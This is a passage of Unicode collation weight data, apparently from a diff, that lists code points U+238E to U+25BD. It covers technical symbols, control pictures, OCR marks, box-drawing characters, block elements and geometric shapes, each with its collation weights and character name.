-238E  ; [*0755.0020.0002] # HYSTERESIS SYMBOL
-238F  ; [*0756.0020.0002] # OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL
-2390  ; [*0757.0020.0002] # OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL
-2391  ; [*0758.0020.0002] # PASSIVE-PULL-DOWN-OUTPUT SYMBOL
-2392  ; [*0759.0020.0002] # PASSIVE-PULL-UP-OUTPUT SYMBOL
-2393  ; [*075A.0020.0002] # DIRECT CURRENT SYMBOL FORM TWO
-2394  ; [*075B.0020.0002] # SOFTWARE-FUNCTION SYMBOL
-2395  ; [*075C.0020.0002] # APL FUNCTIONAL SYMBOL QUAD
-2396  ; [*075D.0020.0002] # DECIMAL SEPARATOR KEY SYMBOL
-2397  ; [*075E.0020.0002] # PREVIOUS PAGE
-2398  ; [*075F.0020.0002] # NEXT PAGE
-2399  ; [*0760.0020.0002] # PRINT SCREEN SYMBOL
-239A  ; [*0761.0020.0002] # CLEAR SCREEN SYMBOL
-239B  ; [*0762.0020.0002] # LEFT PARENTHESIS UPPER HOOK
-239C  ; [*0763.0020.0002] # LEFT PARENTHESIS EXTENSION
-239D  ; [*0764.0020.0002] # LEFT PARENTHESIS LOWER HOOK
-239E  ; [*0765.0020.0002] # RIGHT PARENTHESIS UPPER HOOK
-239F  ; [*0766.0020.0002] # RIGHT PARENTHESIS EXTENSION
-23A0  ; [*0767.0020.0002] # RIGHT PARENTHESIS LOWER HOOK
-23A1  ; [*0768.0020.0002] # LEFT SQUARE BRACKET UPPER CORNER
-23A2  ; [*0769.0020.0002] # LEFT SQUARE BRACKET EXTENSION
-23A3  ; [*076A.0020.0002] # LEFT SQUARE BRACKET LOWER CORNER
-23A4  ; [*076B.0020.0002] # RIGHT SQUARE BRACKET UPPER CORNER
-23A5  ; [*076C.0020.0002] # RIGHT SQUARE BRACKET EXTENSION
-23A6  ; [*076D.0020.0002] # RIGHT SQUARE BRACKET LOWER CORNER
-23A7  ; [*076E.0020.0002] # LEFT CURLY BRACKET UPPER HOOK
-23A8  ; [*076F.0020.0002] # LEFT CURLY BRACKET MIDDLE PIECE
-23A9  ; [*0770.0020.0002] # LEFT CURLY BRACKET LOWER HOOK
-23AA  ; [*0771.0020.0002] # CURLY BRACKET EXTENSION
-23AB  ; [*0772.0020.0002] # RIGHT CURLY BRACKET UPPER HOOK
-23AC  ; [*0773.0020.0002] # RIGHT CURLY BRACKET MIDDLE PIECE
-23AD  ; [*0774.0020.0002] # RIGHT CURLY BRACKET LOWER HOOK
-23AE  ; [*0775.0020.0002] # INTEGRAL EXTENSION
-23AF  ; [*0776.0020.0002] # HORIZONTAL LINE EXTENSION
-23B0  ; [*0777.0020.0002] # UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION
-23B1  ; [*0778.0020.0002] # UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION
-23B2  ; [*0779.0020.0002] # SUMMATION TOP
-23B3  ; [*077A.0020.0002] # SUMMATION BOTTOM
-23B4  ; [*077B.0020.0002] # TOP SQUARE BRACKET
-23B5  ; [*077C.0020.0002] # BOTTOM SQUARE BRACKET
-23B6  ; [*077D.0020.0002] # BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET
-23B7  ; [*077E.0020.0002] # RADICAL SYMBOL BOTTOM
-23B8  ; [*077F.0020.0002] # LEFT VERTICAL BOX LINE
-23B9  ; [*0780.0020.0002] # RIGHT VERTICAL BOX LINE
-23BA  ; [*0781.0020.0002] # HORIZONTAL SCAN LINE-1
-23BB  ; [*0782.0020.0002] # HORIZONTAL SCAN LINE-3
-23BC  ; [*0783.0020.0002] # HORIZONTAL SCAN LINE-7
-23BD  ; [*0784.0020.0002] # HORIZONTAL SCAN LINE-9
-23BE  ; [*0785.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT
-23BF  ; [*0786.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT
-23C0  ; [*0787.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE
-23C1  ; [*0788.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE
-23C2  ; [*0789.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE
-23C3  ; [*078A.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE
-23C4  ; [*078B.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE
-23C5  ; [*078C.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE
-23C6  ; [*078D.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE
-23C7  ; [*078E.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE
-23C8  ; [*078F.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE
-23C9  ; [*0790.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL
-23CA  ; [*0791.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL
-23CB  ; [*0792.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT
-23CC  ; [*0793.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT
-23CD  ; [*0794.0020.0002] # SQUARE FOOT
-23CE  ; [*0795.0020.0002] # RETURN SYMBOL
-23CF  ; [*0796.0020.0002] # EJECT SYMBOL
-23D0  ; [*0797.0020.0002] # VERTICAL LINE EXTENSION
-23D1  ; [*0798.0020.0002] # METRICAL BREVE
-23D2  ; [*0799.0020.0002] # METRICAL LONG OVER SHORT
-23D3  ; [*079A.0020.0002] # METRICAL SHORT OVER LONG
-23D4  ; [*079B.0020.0002] # METRICAL LONG OVER TWO SHORTS
-23D5  ; [*079C.0020.0002] # METRICAL TWO SHORTS OVER LONG
-23D6  ; [*079D.0020.0002] # METRICAL TWO SHORTS JOINED
-23D7  ; [*079E.0020.0002] # METRICAL TRISEME
-23D8  ; [*079F.0020.0002] # METRICAL TETRASEME
-23D9  ; [*07A0.0020.0002] # METRICAL PENTASEME
-23DA  ; [*07A1.0020.0002] # EARTH GROUND
-23DB  ; [*07A2.0020.0002] # FUSE
-23DC  ; [*07A3.0020.0002] # TOP PARENTHESIS
-23DD  ; [*07A4.0020.0002] # BOTTOM PARENTHESIS
-23DE  ; [*07A5.0020.0002] # TOP CURLY BRACKET
-23DF  ; [*07A6.0020.0002] # BOTTOM CURLY BRACKET
-23E0  ; [*07A7.0020.0002] # TOP TORTOISE SHELL BRACKET
-23E1  ; [*07A8.0020.0002] # BOTTOM TORTOISE SHELL BRACKET
-23E2  ; [*07A9.0020.0002] # WHITE TRAPEZIUM
-23E3  ; [*07AA.0020.0002] # BENZENE RING WITH CIRCLE
-23E4  ; [*07AB.0020.0002] # STRAIGHTNESS
-23E5  ; [*07AC.0020.0002] # FLATNESS
-23E6  ; [*07AD.0020.0002] # AC CURRENT
-23E7  ; [*07AE.0020.0002] # ELECTRICAL INTERSECTION
-23E8  ; [*07AF.0020.0002] # DECIMAL EXPONENT SYMBOL
-23E9  ; [*07B0.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE
-23EA  ; [*07B1.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE
-23EB  ; [*07B2.0020.0002] # BLACK UP-POINTING DOUBLE TRIANGLE
-23EC  ; [*07B3.0020.0002] # BLACK DOWN-POINTING DOUBLE TRIANGLE
-23ED  ; [*07B4.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-23EE  ; [*07B5.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-23EF  ; [*07B6.0020.0002] # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
-23F0  ; [*07B7.0020.0002] # ALARM CLOCK
-23F1  ; [*07B8.0020.0002] # STOPWATCH
-23F2  ; [*07B9.0020.0002] # TIMER CLOCK
-23F3  ; [*07BA.0020.0002] # HOURGLASS WITH FLOWING SAND
-23F4  ; [*07BB.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE
-23F5  ; [*07BC.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE
-23F6  ; [*07BD.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE
-23F7  ; [*07BE.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE
-23F8  ; [*07BF.0020.0002] # DOUBLE VERTICAL BAR
-23F9  ; [*07C0.0020.0002] # BLACK SQUARE FOR STOP
-23FA  ; [*07C1.0020.0002] # BLACK CIRCLE FOR RECORD
-2400  ; [*07C2.0020.0002] # SYMBOL FOR NULL
-2401  ; [*07C3.0020.0002] # SYMBOL FOR START OF HEADING
-2402  ; [*07C4.0020.0002] # SYMBOL FOR START OF TEXT
-2403  ; [*07C5.0020.0002] # SYMBOL FOR END OF TEXT
-2404  ; [*07C6.0020.0002] # SYMBOL FOR END OF TRANSMISSION
-2405  ; [*07C7.0020.0002] # SYMBOL FOR ENQUIRY
-2406  ; [*07C8.0020.0002] # SYMBOL FOR ACKNOWLEDGE
-2407  ; [*07C9.0020.0002] # SYMBOL FOR BELL
-2408  ; [*07CA.0020.0002] # SYMBOL FOR BACKSPACE
-2409  ; [*07CB.0020.0002] # SYMBOL FOR HORIZONTAL TABULATION
-240A  ; [*07CC.0020.0002] # SYMBOL FOR LINE FEED
-240B  ; [*07CD.0020.0002] # SYMBOL FOR VERTICAL TABULATION
-240C  ; [*07CE.0020.0002] # SYMBOL FOR FORM FEED
-240D  ; [*07CF.0020.0002] # SYMBOL FOR CARRIAGE RETURN
-240E  ; [*07D0.0020.0002] # SYMBOL FOR SHIFT OUT
-240F  ; [*07D1.0020.0002] # SYMBOL FOR SHIFT IN
-2410  ; [*07D2.0020.0002] # SYMBOL FOR DATA LINK ESCAPE
-2411  ; [*07D3.0020.0002] # SYMBOL FOR DEVICE CONTROL ONE
-2412  ; [*07D4.0020.0002] # SYMBOL FOR DEVICE CONTROL TWO
-2413  ; [*07D5.0020.0002] # SYMBOL FOR DEVICE CONTROL THREE
-2414  ; [*07D6.0020.0002] # SYMBOL FOR DEVICE CONTROL FOUR
-2415  ; [*07D7.0020.0002] # SYMBOL FOR NEGATIVE ACKNOWLEDGE
-2416  ; [*07D8.0020.0002] # SYMBOL FOR SYNCHRONOUS IDLE
-2417  ; [*07D9.0020.0002] # SYMBOL FOR END OF TRANSMISSION BLOCK
-2418  ; [*07DA.0020.0002] # SYMBOL FOR CANCEL
-2419  ; [*07DB.0020.0002] # SYMBOL FOR END OF MEDIUM
-241A  ; [*07DC.0020.0002] # SYMBOL FOR SUBSTITUTE
-241B  ; [*07DD.0020.0002] # SYMBOL FOR ESCAPE
-241C  ; [*07DE.0020.0002] # SYMBOL FOR FILE SEPARATOR
-241D  ; [*07DF.0020.0002] # SYMBOL FOR GROUP SEPARATOR
-241E  ; [*07E0.0020.0002] # SYMBOL FOR RECORD SEPARATOR
-241F  ; [*07E1.0020.0002] # SYMBOL FOR UNIT SEPARATOR
-2420  ; [*07E2.0020.0002] # SYMBOL FOR SPACE
-2421  ; [*07E3.0020.0002] # SYMBOL FOR DELETE
-2422  ; [*07E4.0020.0002] # BLANK SYMBOL
-2423  ; [*07E5.0020.0002] # OPEN BOX
-2424  ; [*07E6.0020.0002] # SYMBOL FOR NEWLINE
-2425  ; [*07E7.0020.0002] # SYMBOL FOR DELETE FORM TWO
-2426  ; [*07E8.0020.0002] # SYMBOL FOR SUBSTITUTE FORM TWO
-2440  ; [*07E9.0020.0002] # OCR HOOK
-2441  ; [*07EA.0020.0002] # OCR CHAIR
-2442  ; [*07EB.0020.0002] # OCR FORK
-2443  ; [*07EC.0020.0002] # OCR INVERTED FORK
-2444  ; [*07ED.0020.0002] # OCR BELT BUCKLE
-2445  ; [*07EE.0020.0002] # OCR BOW TIE
-2446  ; [*07EF.0020.0002] # OCR BRANCH BANK IDENTIFICATION
-2447  ; [*07F0.0020.0002] # OCR AMOUNT OF CHECK
-2448  ; [*07F1.0020.0002] # OCR DASH
-2449  ; [*07F2.0020.0002] # OCR CUSTOMER ACCOUNT NUMBER
-244A  ; [*07F3.0020.0002] # OCR DOUBLE BACKSLASH
-2500  ; [*07F4.0020.0002] # BOX DRAWINGS LIGHT HORIZONTAL
-2501  ; [*07F5.0020.0002] # BOX DRAWINGS HEAVY HORIZONTAL
-2502  ; [*07F6.0020.0002] # BOX DRAWINGS LIGHT VERTICAL
-2503  ; [*07F7.0020.0002] # BOX DRAWINGS HEAVY VERTICAL
-2504  ; [*07F8.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL
-2505  ; [*07F9.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL
-2506  ; [*07FA.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL
-2507  ; [*07FB.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL
-2508  ; [*07FC.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL
-2509  ; [*07FD.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL
-250A  ; [*07FE.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL
-250B  ; [*07FF.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL
-250C  ; [*0800.0020.0002] # BOX DRAWINGS LIGHT DOWN AND RIGHT
-250D  ; [*0801.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY
-250E  ; [*0802.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT
-250F  ; [*0803.0020.0002] # BOX DRAWINGS HEAVY DOWN AND RIGHT
-2510  ; [*0804.0020.0002] # BOX DRAWINGS LIGHT DOWN AND LEFT
-2511  ; [*0805.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY
-2512  ; [*0806.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT
-2513  ; [*0807.0020.0002] # BOX DRAWINGS HEAVY DOWN AND LEFT
-2514  ; [*0808.0020.0002] # BOX DRAWINGS LIGHT UP AND RIGHT
-2515  ; [*0809.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT HEAVY
-2516  ; [*080A.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT LIGHT
-2517  ; [*080B.0020.0002] # BOX DRAWINGS HEAVY UP AND RIGHT
-2518  ; [*080C.0020.0002] # BOX DRAWINGS LIGHT UP AND LEFT
-2519  ; [*080D.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT HEAVY
-251A  ; [*080E.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT LIGHT
-251B  ; [*080F.0020.0002] # BOX DRAWINGS HEAVY UP AND LEFT
-251C  ; [*0810.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND RIGHT
-251D  ; [*0811.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY
-251E  ; [*0812.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT
-251F  ; [*0813.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT
-2520  ; [*0814.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT
-2521  ; [*0815.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY
-2522  ; [*0816.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY
-2523  ; [*0817.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND RIGHT
-2524  ; [*0818.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND LEFT
-2525  ; [*0819.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY
-2526  ; [*081A.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT
-2527  ; [*081B.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT
-2528  ; [*081C.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT
-2529  ; [*081D.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY
-252A  ; [*081E.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY
-252B  ; [*081F.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND LEFT
-252C  ; [*0820.0020.0002] # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL
-252D  ; [*0821.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT
-252E  ; [*0822.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT
-252F  ; [*0823.0020.0002] # BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY
-2530  ; [*0824.0020.0002] # BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT
-2531  ; [*0825.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY
-2532  ; [*0826.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY
-2533  ; [*0827.0020.0002] # BOX DRAWINGS HEAVY DOWN AND HORIZONTAL
-2534  ; [*0828.0020.0002] # BOX DRAWINGS LIGHT UP AND HORIZONTAL
-2535  ; [*0829.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT
-2536  ; [*082A.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT
-2537  ; [*082B.0020.0002] # BOX DRAWINGS UP LIGHT AND HORIZONTAL HEAVY
-2538  ; [*082C.0020.0002] # BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT
-2539  ; [*082D.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY
-253A  ; [*082E.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY
-253B  ; [*082F.0020.0002] # BOX DRAWINGS HEAVY UP AND HORIZONTAL
-253C  ; [*0830.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL
-253D  ; [*0831.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT
-253E  ; [*0832.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT
-253F  ; [*0833.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY
-2540  ; [*0834.0020.0002] # BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT
-2541  ; [*0835.0020.0002] # BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT
-2542  ; [*0836.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT
-2543  ; [*0837.0020.0002] # BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT
-2544  ; [*0838.0020.0002] # BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT
-2545  ; [*0839.0020.0002] # BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT
-2546  ; [*083A.0020.0002] # BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT
-2547  ; [*083B.0020.0002] # BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY
-2548  ; [*083C.0020.0002] # BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY
-2549  ; [*083D.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY
-254A  ; [*083E.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY
-254B  ; [*083F.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL
-254C  ; [*0840.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL
-254D  ; [*0841.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL
-254E  ; [*0842.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL
-254F  ; [*0843.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL
-2550  ; [*0844.0020.0002] # BOX DRAWINGS DOUBLE HORIZONTAL
-2551  ; [*0845.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL
-2552  ; [*0846.0020.0002] # BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE
-2553  ; [*0847.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE
-2554  ; [*0848.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND RIGHT
-2555  ; [*0849.0020.0002] # BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE
-2556  ; [*084A.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE
-2557  ; [*084B.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND LEFT
-2558  ; [*084C.0020.0002] # BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE
-2559  ; [*084D.0020.0002] # BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE
-255A  ; [*084E.0020.0002] # BOX DRAWINGS DOUBLE UP AND RIGHT
-255B  ; [*084F.0020.0002] # BOX DRAWINGS UP SINGLE AND LEFT DOUBLE
-255C  ; [*0850.0020.0002] # BOX DRAWINGS UP DOUBLE AND LEFT SINGLE
-255D  ; [*0851.0020.0002] # BOX DRAWINGS DOUBLE UP AND LEFT
-255E  ; [*0852.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE
-255F  ; [*0853.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE
-2560  ; [*0854.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT
-2561  ; [*0855.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE
-2562  ; [*0856.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE
-2563  ; [*0857.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND LEFT
-2564  ; [*0858.0020.0002] # BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE
-2565  ; [*0859.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE
-2566  ; [*085A.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL
-2567  ; [*085B.0020.0002] # BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE
-2568  ; [*085C.0020.0002] # BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE
-2569  ; [*085D.0020.0002] # BOX DRAWINGS DOUBLE UP AND HORIZONTAL
-256A  ; [*085E.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE
-256B  ; [*085F.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE
-256C  ; [*0860.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL
-256D  ; [*0861.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND RIGHT
-256E  ; [*0862.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND LEFT
-256F  ; [*0863.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND LEFT
-2570  ; [*0864.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND RIGHT
-2571  ; [*0865.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT
-2572  ; [*0866.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT
-2573  ; [*0867.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL CROSS
-2574  ; [*0868.0020.0002] # BOX DRAWINGS LIGHT LEFT
-2575  ; [*0869.0020.0002] # BOX DRAWINGS LIGHT UP
-2576  ; [*086A.0020.0002] # BOX DRAWINGS LIGHT RIGHT
-2577  ; [*086B.0020.0002] # BOX DRAWINGS LIGHT DOWN
-2578  ; [*086C.0020.0002] # BOX DRAWINGS HEAVY LEFT
-2579  ; [*086D.0020.0002] # BOX DRAWINGS HEAVY UP
-257A  ; [*086E.0020.0002] # BOX DRAWINGS HEAVY RIGHT
-257B  ; [*086F.0020.0002] # BOX DRAWINGS HEAVY DOWN
-257C  ; [*0870.0020.0002] # BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT
-257D  ; [*0871.0020.0002] # BOX DRAWINGS LIGHT UP AND HEAVY DOWN
-257E  ; [*0872.0020.0002] # BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT
-257F  ; [*0873.0020.0002] # BOX DRAWINGS HEAVY UP AND LIGHT DOWN
-2580  ; [*0874.0020.0002] # UPPER HALF BLOCK
-2581  ; [*0875.0020.0002] # LOWER ONE EIGHTH BLOCK
-2582  ; [*0876.0020.0002] # LOWER ONE QUARTER BLOCK
-2583  ; [*0877.0020.0002] # LOWER THREE EIGHTHS BLOCK
-2584  ; [*0878.0020.0002] # LOWER HALF BLOCK
-2585  ; [*0879.0020.0002] # LOWER FIVE EIGHTHS BLOCK
-2586  ; [*087A.0020.0002] # LOWER THREE QUARTERS BLOCK
-2587  ; [*087B.0020.0002] # LOWER SEVEN EIGHTHS BLOCK
-2588  ; [*087C.0020.0002] # FULL BLOCK
-2589  ; [*087D.0020.0002] # LEFT SEVEN EIGHTHS BLOCK
-258A  ; [*087E.0020.0002] # LEFT THREE QUARTERS BLOCK
-258B  ; [*087F.0020.0002] # LEFT FIVE EIGHTHS BLOCK
-258C  ; [*0880.0020.0002] # LEFT HALF BLOCK
-258D  ; [*0881.0020.0002] # LEFT THREE EIGHTHS BLOCK
-258E  ; [*0882.0020.0002] # LEFT ONE QUARTER BLOCK
-258F  ; [*0883.0020.0002] # LEFT ONE EIGHTH BLOCK
-2590  ; [*0884.0020.0002] # RIGHT HALF BLOCK
-2591  ; [*0885.0020.0002] # LIGHT SHADE
-2592  ; [*0886.0020.0002] # MEDIUM SHADE
-2593  ; [*0887.0020.0002] # DARK SHADE
-2594  ; [*0888.0020.0002] # UPPER ONE EIGHTH BLOCK
-2595  ; [*0889.0020.0002] # RIGHT ONE EIGHTH BLOCK
-2596  ; [*088A.0020.0002] # QUADRANT LOWER LEFT
-2597  ; [*088B.0020.0002] # QUADRANT LOWER RIGHT
-2598  ; [*088C.0020.0002] # QUADRANT UPPER LEFT
-2599  ; [*088D.0020.0002] # QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT
-259A  ; [*088E.0020.0002] # QUADRANT UPPER LEFT AND LOWER RIGHT
-259B  ; [*088F.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT
-259C  ; [*0890.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT
-259D  ; [*0891.0020.0002] # QUADRANT UPPER RIGHT
-259E  ; [*0892.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT
-259F  ; [*0893.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT
-25A0  ; [*0894.0020.0002] # BLACK SQUARE
-25A1  ; [*0895.0020.0002] # WHITE SQUARE
-25A2  ; [*0896.0020.0002] # WHITE SQUARE WITH ROUNDED CORNERS
-25A3  ; [*0897.0020.0002] # WHITE SQUARE CONTAINING BLACK SMALL SQUARE
-25A4  ; [*0898.0020.0002] # SQUARE WITH HORIZONTAL FILL
-25A5  ; [*0899.0020.0002] # SQUARE WITH VERTICAL FILL
-25A6  ; [*089A.0020.0002] # SQUARE WITH ORTHOGONAL CROSSHATCH FILL
-25A7  ; [*089B.0020.0002] # SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL
-25A8  ; [*089C.0020.0002] # SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL
-25A9  ; [*089D.0020.0002] # SQUARE WITH DIAGONAL CROSSHATCH FILL
-25AA  ; [*089E.0020.0002] # BLACK SMALL SQUARE
-25AB  ; [*089F.0020.0002] # WHITE SMALL SQUARE
-25AC  ; [*08A0.0020.0002] # BLACK RECTANGLE
-25AD  ; [*08A1.0020.0002] # WHITE RECTANGLE
-25AE  ; [*08A2.0020.0002] # BLACK VERTICAL RECTANGLE
-25AF  ; [*08A3.0020.0002] # WHITE VERTICAL RECTANGLE
-25B0  ; [*08A4.0020.0002] # BLACK PARALLELOGRAM
-25B1  ; [*08A5.0020.0002] # WHITE PARALLELOGRAM
-25B2  ; [*08A6.0020.0002] # BLACK UP-POINTING TRIANGLE
-25B3  ; [*08A7.0020.0002] # WHITE UP-POINTING TRIANGLE
-25B4  ; [*08A8.0020.0002] # BLACK UP-POINTING SMALL TRIANGLE
-25B5  ; [*08A9.0020.0002] # WHITE UP-POINTING SMALL TRIANGLE
-25B6  ; [*08AA.0020.0002] # BLACK RIGHT-POINTING TRIANGLE
-25B7  ; [*08AB.0020.0002] # WHITE RIGHT-POINTING TRIANGLE
-25B8  ; [*08AC.0020.0002] # BLACK RIGHT-POINTING SMALL TRIANGLE
-25B9  ; [*08AD.0020.0002] # WHITE RIGHT-POINTING SMALL TRIANGLE
-25BA  ; [*08AE.0020.0002] # BLACK RIGHT-POINTING POINTER
-25BB  ; [*08AF.0020.0002] # WHITE RIGHT-POINTING POINTER
-25BC  ; [*08B0.0020.0002] # BLACK DOWN-POINTING TRIANGLE
-25BD  ; [*08B1.0020.0002] # WHITE DOWN-POINTING TRIANGLE
